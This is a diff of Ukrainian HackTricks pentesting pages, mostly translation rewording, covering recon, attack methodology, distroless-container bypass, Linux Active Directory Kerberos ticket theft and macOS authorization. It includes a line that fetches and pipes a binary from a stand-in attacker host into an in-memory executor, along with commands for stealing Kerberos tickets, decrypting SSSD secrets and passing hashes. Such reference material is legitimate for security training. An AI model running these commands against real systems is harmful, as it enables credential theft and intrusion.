**Leakos** також можна використовувати для запуску **gitleaks** проти всього **тексту**, наданого **URL-адресами**, оскільки іноді **веб-сторінки також містять секрети**.
#### Dork Github
#### Dorks Github
Перевірте також цю **сторінку** на предмет потенційних **dork'ів github**, які ви також могли б шукати в організації, яку ви атакуєте:
Перевірте також цю **сторінку** на предмет потенційних **github dorks**, які ви також могли б шукати в організації, яку ви атакуєте:
{% content-ref url="github-leaked-secrets.md" %}
[github-leaked-secrets.md](github-leaked-secrets.md)
@ -587,14 +587,14 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
### Витоки Pastes
Іноді зловмисники або просто працівники **публікують вміст компанії на сайті для вставок**. Це може або не може містити **конфіденційну інформацію**, але це дуже цікаво шукати.\
Ви можете використовувати інструмент [**Pastos**](https://github.com/carlospolop/Pastos), щоб шукати більш ніж на 80 сайтах для вставок одночасно.
Іноді зловмисники або просто працівники **публікують вміст компанії на сайті паст**. Це може або не може містити **конфіденційну інформацію**, але це дуже цікаво шукати.\
Ви можете використовувати інструмент [**Pastos**](https://github.com/carlospolop/Pastos), щоб шукати більш ніж на 80 сайтах паст одночасно.
### Dork Google
### Dorks Google
Старі, але золоті dork Google завжди корисні для знаходження **викритої інформації, якої там не повинно бути**. Єдина проблема в тому, що [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) містить кілька **тисяч** можливих запитів, які ви не можете виконати вручну. Тож ви можете взяти свої улюблені 10 або ви можете використовувати **інструмент, такий як** [**Gorks**](https://github.com/carlospolop/Gorks) **для їх виконання**.
Старі, але золоті dorks Google завжди корисні для знаходження **викритої інформації, якої там не повинно бути**. Єдина проблема в тому, що [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) містить кілька **тисяч** можливих запитів, які ви не можете виконати вручну. Тож ви можете взяти свої улюблені 10 або ви можете використовувати **інструмент, такий як** [**Gorks**](https://github.com/carlospolop/Gorks), **щоб запустити їх усі**.
_Зверніть увагу, що інструменти, які очікують виконати всю базу даних, використовуючи звичайний браузер Google, ніколи не закінчаться, оскільки Google заблокує вас дуже-дуже швидко._
_Зверніть увагу, що інструменти, які очікують запустити всю базу даних, використовуючи звичайний браузер Google, ніколи не закінчаться, оскільки Google заблокує вас дуже-дуже швидко._
### **Шукання вразливостей**
@ -620,7 +620,7 @@ _Зверніть увагу, що інструменти, які очікуют
Я також хочу зробити особливе посилання на розділ [**Автоматизовані сканери веб-відкритого коду**](../../network-services-pentesting/pentesting-web/#automatic-scanners), оскільки, якщо ви не повинні очікувати, що вони знайдуть вам дуже чутливі вразливості, вони стануть у нагоді для реалізації їх у **робочих процесах, щоб отримати деяку початкову веб-інформацію.**
## Резюме
## Рекапітуляція
> Вітаємо! На цьому етапі ви вже виконали **всі основні перерахування**. Так, це базове, оскільки можна виконати ще багато перерахувань (пізніше побачимо більше трюків).
@ -631,7 +631,7 @@ _Зверніть увагу, що інструменти, які очікуют
3. Знайшли всі **домени**, що належать компаніям
4. Знайшли всі **піддомени** доменів (чи є якісь піддоменні захоплення?)
5. Знайшли всі **IP-адреси**і **не з CDN**) в межах сфери.
6. Знайшли всі **веб-сервери** та зробили **скриншот** з них (чи є щось незвичайне, що варто детальніше розглянути?)
6. Знайшли всі **веб-сервери** та зробили **скриншот** з них (чи є щось незвичайне, що варто більш детального розгляду?)
7. Знайшли всі **потенційні публічні хмарні активи**, що належать компанії.
8. **Електронні листи**, **витоки облікових даних** та **витоки секретів**, які можуть дати вам **велику перемогу дуже легко**.
9. **Пентестинг всіх веб-сайтів, які ви знайшли**
@ -649,9 +649,9 @@ _Зверніть увагу, що інструменти, які очікуют
* Всі безкоштовні курси [**@Jhaddix**](https://twitter.com/Jhaddix), такі як [**Методологія мисливця за помилками v4.0 - Розділ розвідки**](https://www.youtube.com/watch?v=p4JgIu1mceI)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Якщо вас цікавить **кар'єра в хакерстві** та зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
Якщо ви зацікавлені в **кар'єрі в хакерстві** та зломі незламного - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
{% embed url="https://www.stmcyber.com/careers" %}

View file

@ -6,7 +6,7 @@
<details>
<summary>Підтримка HackTricks</summary>
<summary>Підтримати HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@ -15,9 +15,9 @@
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Якщо ви зацікавлені в **кар'єрі в хакерстві** та зламі непроникного - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
Якщо ви зацікавлені в **кар'єрі в хакерстві** та зламуванні незламного - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -36,7 +36,7 @@ _Логотипи Hacktricks розроблені_ [_@ppiernacho_](https://www.i
**В залежності** від того, чи є **тест**, який ви проводите, **внутрішнім чи зовнішнім**, вам може бути цікаво знайти **хости всередині мережі компанії** (внутрішній тест) або **знайти активи компанії в Інтернеті** (зовнішній тест).
{% hint style="info" %}
Зверніть увагу, що якщо ви проводите зовнішній тест, після того, як вам вдасться отримати доступ до внутрішньої мережі компанії, вам слід перезапустити цей посібник.
Зверніть увагу, що якщо ви проводите зовнішній тест, як тільки вам вдасться отримати доступ до внутрішньої мережі компанії, вам слід перезапустити цей посібник.
{% endhint %}
### **2-** [**Розваги з мережею**](pentesting-network/) **(Внутрішній)**
@ -48,7 +48,7 @@ _Логотипи Hacktricks розроблені_ [_@ppiernacho_](https://www.i
Перше, що потрібно зробити, коли **шукаєте вразливості в хості**, це дізнатися, які **сервіси працюють** на яких портах. Давайте розглянемо [**базові інструменти для сканування портів хостів**](pentesting-network/#scanning-hosts).
### **4-** [Пошук експлойтів версій сервісів](search-exploits.md)
### **4-** [**Пошук експлойтів версій сервісів**](search-exploits.md)
Якщо ви знаєте, які сервіси працюють, і, можливо, їх версії, вам потрібно **шукати відомі вразливості**. Можливо, вам пощастить, і є експлойт, який дасть вам оболонку...
@ -56,16 +56,16 @@ _Логотипи Hacktricks розроблені_ [_@ppiernacho_](https://www.i
Якщо немає жодного цікавого експлойту для будь-якого працюючого сервісу, вам слід шукати **поширені неправильні налаштування в кожному працюючому сервісі.**
**У цій книзі ви знайдете посібник для пентестингу найпоширеніших сервісів** (та інших, які не є такими поширеними)**. Будь ласка, шукайте в лівому індексі розділ** _**ПЕНТЕСТИНГ**_ **(сервіси впорядковані за їх стандартними портами).**
**У цій книзі ви знайдете посібник для пентестингу найбільш поширених сервісів** (та інших, які не є такими поширеними)**. Будь ласка, шукайте в лівому індексі розділ** _**ПЕНТЕСТИНГ**_ **(сервіси впорядковані за їх стандартними портами).**
**Я хочу зробити особливе зауваження про** [**Пентестинг Веб**](../network-services-pentesting/pentesting-web/) **частину (оскільки вона є найобширнішою).**\
**Я хочу зробити особливе згадування про** [**Пентестинг Веб**](../network-services-pentesting/pentesting-web/) **частину (оскільки вона є найбільш обширною).**\
Також тут можна знайти невеликий посібник про те, як [**знайти відомі вразливості в програмному забезпеченні**](search-exploits.md).
**Якщо вашого сервісу немає в індексі, шукайте в Google** інші посібники та **дозвольте мені знати, якщо ви хочете, щоб я його додав.** Якщо ви **не можете нічого знайти** в Google, проведіть свій **власний сліпий пентестинг**, ви можете почати з **підключення до сервісу, фуззингу його та читання відповідей** (якщо такі є).
#### 5.1 Автоматичні інструменти
Існує також кілька інструментів, які можуть виконувати **автоматичні оцінки вразливостей**. **Я рекомендую вам спробувати** [**Legion**](https://github.com/carlospolop/legion)**, який є інструментом, який я створив, і він заснований на нотатках про пентестинг сервісів, які ви можете знайти в цій книзі.**
Існує також кілька інструментів, які можуть виконувати **автоматичні оцінки вразливостей**. **Я б рекомендував вам спробувати** [**Legion**](https://github.com/carlospolop/legion)**, який є інструментом, який я створив, і він заснований на нотатках про пентестинг сервісів, які ви можете знайти в цій книзі.**
#### **5.2 Брутфорсинг сервісів**
@ -83,7 +83,7 @@ _Логотипи Hacktricks розроблені_ [_@ppiernacho_](https://www.i
### 8- Всередині
Якщо у вас виникають проблеми з оболонкою, ви можете знайти тут невелику **компіляцію найкорисніших команд** для пентестерів:
Якщо у вас виникають проблеми з оболонкою, ви можете знайти тут невелику **компіляцію найбільш корисних команд** для пентестерів:
* [**Linux**](../linux-hardening/useful-linux-commands.md)
* [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
@ -104,17 +104,17 @@ _Логотипи Hacktricks розроблені_ [_@ppiernacho_](https://www.i
* [**Аутентифікація, облікові дані, привілеї токенів та UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
* Як працює [**NTLM**](../windows-hardening/ntlm/)
* Як [**вкрасти облікові дані**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) в Windows
* Декілька трюків про [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
* Деякі трюки про [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
**Не забудьте перевірити найкращі інструменти для перерахунку шляхів локального підвищення привілеїв Windows та Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
#### **10.2- Підвищення привілеїв домену**
Тут ви можете знайти [**методологію, що пояснює найпоширеніші дії для перерахунку, підвищення привілеїв та збереження в Active Directory**](../windows-hardening/active-directory-methodology/). Навіть якщо це лише підрозділ розділу, цей процес може бути **надзвичайно делікатним** під час завдання Пентестингу/Red Team.
Тут ви можете знайти [**методологію, що пояснює найбільш поширені дії для перерахунку, підвищення привілеїв та збереження в Active Directory**](../windows-hardening/active-directory-methodology/). Навіть якщо це лише підрозділ розділу, цей процес може бути **надзвичайно делікатним** під час пентестингу/Red Team завдання.
### 11 - POST
#### **11**.1 - Грабіж
#### **11**.1 - Лутання
Перевірте, чи можете ви знайти більше **паролів** всередині хоста або чи маєте ви **доступ до інших машин** з **привілеями** вашого **користувача**.\
Знайдіть тут різні способи [**вивантаження паролів у Windows**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md).
@ -122,16 +122,16 @@ _Логотипи Hacktricks розроблені_ [_@ppiernacho_](https://www.i
#### 11.2 - Постійність
**Використовуйте 2 або 3 різні типи механізмів постійності, щоб вам не потрібно було знову експлуатувати систему.**\
**Ось тут ви можете знайти деякі** [**трюки постійності в Active Directory**](../windows-hardening/active-directory-methodology/#persistence)**.**
**Тут ви можете знайти деякі** [**трюки постійності в Active Directory**](../windows-hardening/active-directory-methodology/#persistence)**.**
TODO: Завершити постійність у Windows та Linux
### 12 - Півотування
З отриманими **обліковими даними** ви можете отримати доступ до інших машин, або, можливо, вам потрібно **виявити та сканувати нові хости** (почати методологію пентестингу знову) всередині нових мереж, до яких підключена ваша жертва.\
З **зібраними обліковими даними** ви можете отримати доступ до інших машин, або, можливо, вам потрібно **виявити та сканувати нові хости** (почати методологію пентестингу знову) всередині нових мереж, до яких підключена ваша жертва.\
У цьому випадку тунелювання може бути необхідним. Тут ви можете знайти [**пост про тунелювання**](tunneling-and-port-forwarding.md).\
Вам також слід перевірити пост про [методологію пентестингу Active Directory](../windows-hardening/active-directory-methodology/). Там ви знайдете класні трюки для бічного переміщення, підвищення привілеїв та вивантаження облікових даних.\
Також перевірте сторінку про [**NTLM**](../windows-hardening/ntlm/), це може бути дуже корисно для півотування в середовищах Windows.
Також перевірте сторінку про [**NTLM**](../windows-hardening/ntlm/), це може бути дуже корисно для півотування в Windows середовищах.
### БІЛЬШЕ
@ -151,9 +151,9 @@ TODO: Завершити постійність у Windows та Linux
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
* [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Якщо ви зацікавлені в **кар'єрі в хакерстві** та зламі непроникного - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
Якщо ви зацікавлені в **кар'єрі в хакерстві** та зламуванні незламного - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -163,7 +163,7 @@ TODO: Завершити постійність у Windows та Linux
<details>
<summary>Підтримка HackTricks</summary>
<summary>Підтримати HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
@ -94,7 +94,7 @@ wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo
### MemExec
[**Memexec**](https://github.com/arget13/memexec) є природним наступним кроком DDexec. Це **DDexec shellcode demonised**, тому що щоразу, коли ви хочете **запустити інший бінарний файл**, вам не потрібно перезапускати DDexec, ви можете просто запустити shellcode memexec за допомогою техніки DDexec, а потім **спілкуватися з цим демоном, щоб передати нові бінарні файли для завантаження та виконання**.
[**Memexec**](https://github.com/arget13/memexec) є природним наступним кроком DDexec. Це **DDexec shellcode demonised**, тому що щоразу, коли ви хочете **запустити інший бінарний файл**, вам не потрібно перезапускати DDexec, ви можете просто запустити shellcode memexec через техніку DDexec, а потім **спілкуватися з цим демоном, щоб передати нові бінарні файли для завантаження та виконання**.
Ви можете знайти приклад того, як використовувати **memexec для виконання бінарних файлів з PHP реверс-шелу** за адресою [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
@ -118,7 +118,7 @@ wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo
Отже, ви **не зможете** отримати **реверс-шел** або **перерахувати** систему, як зазвичай.
{% endhint %}
Однак, якщо скомпрометований контейнер, наприклад, запускає flask web, тоді python встановлений, і тому ви можете отримати **Python реверс-шел**. Якщо він запускає node, ви можете отримати Node rev shell, і те ж саме з більшістю будь-яких **скриптових мов**.
Однак, якщо скомпрометований контейнер, наприклад, запускає flask web, тоді python встановлений, і тому ви можете отримати **Python реверс-шел**. Якщо він запускає node, ви можете отримати Node rev shell, і те ж саме з більшістю будь-якої **скриптової мови**.
{% hint style="success" %}
Використовуючи скриптову мову, ви могли б **перерахувати систему**, використовуючи можливості мови.
@ -130,25 +130,25 @@ wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo
Однак у таких контейнерах ці захисти зазвичай існують, але ви могли б використовувати **попередні техніки виконання в пам'яті, щоб обійти їх**.
{% endhint %}
Ви можете знайти **приклади** того, як **використовувати деякі вразливості RCE** для отримання реверс-шелів скриптових мов та виконання бінарних файлів з пам'яті за адресою [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
Ви можете знайти **приклади** того, як **використовувати деякі вразливості RCE**, щоб отримати реверс-шели скриптових мов та виконувати бінарні файли з пам'яті за адресою [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Якщо вас цікавить **кар'єра в хакерстві** та зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
Якщо вас цікавить **кар'єра в хакінгу** та зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Вивчайте та практикуйте хакінг AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте хакінг GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримка HackTricks</summary>
<summary>Підтримати HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, подаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -1,8 +1,8 @@
# Linux Active Directory
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -15,21 +15,19 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
Linux-машина також може бути присутня в середовищі Active Directory.
Лінукс-машина також може бути присутня в середовищі Active Directory.
Linux-машина в AD може **зберігати різні квитки CCACHE у файлах. Ці квитки можуть бути використані та зловживані, як і будь-який інший квиток kerberos**. Щоб прочитати ці квитки, вам потрібно бути власником квитка або **root** на машині.
Лінукс-машина в AD може **зберігати різні квитки CCACHE у файлах. Ці квитки можуть бути використані та зловживані, як і будь-який інший квиток kerberos**. Щоб прочитати ці квитки, вам потрібно бути власником квитка або **root** на машині.
## Enumeration
### AD enumeration from linux
Якщо у вас є доступ до AD в linux (або bash в Windows), ви можете спробувати [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) для перерахунку AD.
Якщо у вас є доступ до AD в лінукс (або bash у Windows), ви можете спробувати [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) для перерахунку AD.
Ви також можете перевірити наступну сторінку, щоб дізнатися **інші способи перерахунку AD з linux**:
Ви також можете перевірити наступну сторінку, щоб дізнатися **інші способи перерахунку AD з лінукс**:
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
@ -47,7 +45,7 @@ FreeIPA є відкритим **альтернативою** Microsoft Windows *
### Pass The Ticket
На цій сторінці ви знайдете різні місця, де ви могли б **знайти квитки kerberos всередині linux-хоста**, на наступній сторінці ви можете дізнатися, як перетворити ці формати квитків CCache в Kirbi (формат, який вам потрібно використовувати в Windows) і також як виконати атаку PTT:
На цій сторінці ви знайдете різні місця, де ви могли б **знайти квитки kerberos всередині хоста лінукс**, на наступній сторінці ви можете дізнатися, як перетворити ці формати квитків CCache на Kirbi (формат, який вам потрібно використовувати в Windows) і також як виконати атаку PTT:
{% content-ref url="../../windows-hardening/active-directory-methodology/pass-the-ticket.md" %}
[pass-the-ticket.md](../../windows-hardening/active-directory-methodology/pass-the-ticket.md)
@ -55,7 +53,7 @@ FreeIPA є відкритим **альтернативою** Microsoft Windows *
### CCACHE ticket reuse from /tmp
Файли CCACHE є бінарними форматами для **зберігання облікових даних Kerberos**, зазвичай зберігаються з правами 600 у `/tmp`. Ці файли можна ідентифікувати за їх **форматом імені, `krb5cc_%{uid}`,** що відповідає UID користувача. Для перевірки квитка аутентифікації **змінна середовища `KRB5CCNAME`** повинна бути встановлена на шлях до бажаного файлу квитка, що дозволяє його повторне використання.
Файли CCACHE є бінарними форматами для **зберігання облікових даних Kerberos**, зазвичай зберігаються з правами 600 у `/tmp`. Ці файли можна ідентифікувати за їх **форматом імені, `krb5cc_%{uid}`,** що відповідає UID користувача. Для перевірки квитка аутентифікації, **змінна середовища `KRB5CCNAME`** повинна бути встановлена на шлях до бажаного файлу квитка, що дозволяє його повторне використання.
Перерахуйте поточний квиток, що використовується для аутентифікації, за допомогою `env | grep KRB5CCNAME`. Формат є портативним, і квиток може бути **повторно використаний, встановивши змінну середовища** за допомогою `export KRB5CCNAME=/tmp/ticket.ccache`. Формат імені квитка Kerberos - `krb5cc_%{uid}`, де uid - це UID користувача.
```bash
@ -66,11 +64,11 @@ krb5cc_1000
# Prepare to use it
export KRB5CCNAME=/tmp/krb5cc_1000
```
### CCACHE квитки повторного використання з keyring
### CCACHE повторне використання квитків з keyring
**Квитки Kerberos, збережені в пам'яті процесу, можуть бути витягнуті**, особливо коли захист ptrace на машині вимкнено (`/proc/sys/kernel/yama/ptrace_scope`). Корисний інструмент для цієї мети можна знайти за адресою [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), який полегшує витяг, інжектуючи в сесії та скидаючи квитки в `/tmp`.
**Квитки Kerberos, збережені в пам'яті процесу, можуть бути витягнуті**, особливо коли захист ptrace на машині вимкнений (`/proc/sys/kernel/yama/ptrace_scope`). Корисний інструмент для цієї мети можна знайти за адресою [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), який полегшує витяг, інжектуючи в сесії та скидаючи квитки в `/tmp`.
Щоб налаштувати та використовувати цей інструмент, слідуйте наведеним нижче крокам:
Щоб налаштувати та використовувати цей інструмент, слід виконати наведені нижче кроки:
```bash
git clone https://github.com/TarlogicSecurity/tickey
cd tickey/tickey
@ -79,17 +77,16 @@ make CONF=Release
```
Ця процедура спробує інжектувати в різні сесії, вказуючи на успіх, зберігаючи витягнуті квитки в `/tmp` з іменуванням `__krb_UID.ccache`.
### Повторне використання квитків CCACHE з SSSD KCM
SSSD підтримує копію бази даних за шляхом `/var/lib/sss/secrets/secrets.ldb`. Відповідний ключ зберігається як прихований файл за шляхом `/var/lib/sss/secrets/.secrets.mkey`. За замовчуванням, ключ доступний для читання лише якщо у вас є **root** права.
SSSD підтримує копію бази даних за шляхом `/var/lib/sss/secrets/secrets.ldb`. Відповідний ключ зберігається як прихований файл за шляхом `/var/lib/sss/secrets/.secrets.mkey`. За замовчуванням ключ доступний лише для читання, якщо у вас є **root** права.
Виклик \*\*`SSSDKCMExtractor` \*\* з параметрами --database та --key розпарсить базу даних та **дешифрує секрети**.
```bash
git clone https://github.com/fireeye/SSSDKCMExtractor
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
```
**Кеш облікових даних Kerberos blob можна перетворити на використовуваний файл Kerberos CCache**, який можна передати Mimikatz/Rubeus.
**Кеш облікових даних Kerberos можна перетворити на використовуваний файл Kerberos CCache**, який можна передати Mimikatz/Rubeus.
### Повторне використання квитків CCACHE з keytab
```bash
@ -120,17 +117,16 @@ python3 keytabextract.py krb5.keytab
crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN"
```
## Посилання
* [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
* [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory)
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Вивчайте та практикуйте AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -19,7 +19,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
## **Athorizarions DB**
База даних, розташована в `/var/db/auth.db`, використовується для зберігання дозволів на виконання чутливих операцій. Ці операції виконуються повністю в **просторі користувача** і зазвичай використовуються **XPC-сервісами**, які повинні перевірити **чи має викликаючий клієнт право** виконувати певну дію, перевіряючи цю базу даних.
База даних, розташована в `/var/db/auth.db`, використовується для зберігання дозволів на виконання чутливих операцій. Ці операції виконуються повністю в **просторі користувача** і зазвичай використовуються **XPC-сервісами**, які повинні перевірити **чи викликаний клієнт має право** виконувати певну дію, перевіряючи цю базу даних.
Спочатку ця база даних створюється з вмісту `/System/Library/Security/authorization.plist`. Потім деякі сервіси можуть додавати або змінювати цю базу даних, щоб додати до неї інші дозволи.
@ -88,13 +88,13 @@ security authorizationdb read com.apple.tcc.util.admin
```
## Authd
Це демон, який отримуватиме запити на авторизацію клієнтів для виконання чутливих дій. Він працює як служба XPC, визначена в папці `XPCServices/`, і зазвичай записує свої журнали в `/var/log/authd.log`.
Це демон, який отримуватиме запити на авторизацію клієнтів для виконання чутливих дій. Він працює як служба XPC, визначена в папці `XPCServices/`, і використовує для запису своїх журналів `/var/log/authd.log`.
Більше того, використовуючи інструмент безпеки, можна протестувати багато API `Security.framework`. Наприклад, `AuthorizationExecuteWithPrivileges`, запустивши: `security execute-with-privileges /bin/ls`
Це створить новий процес і виконає `/usr/libexec/security_authtrampoline /bin/ls` від імені root, що запитає дозволи в спливаючому вікні для виконання ls від імені root:
<figure><img src="../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (10).png" alt=""><figcaption></figcaption></figure>
{% hint style="success" %}
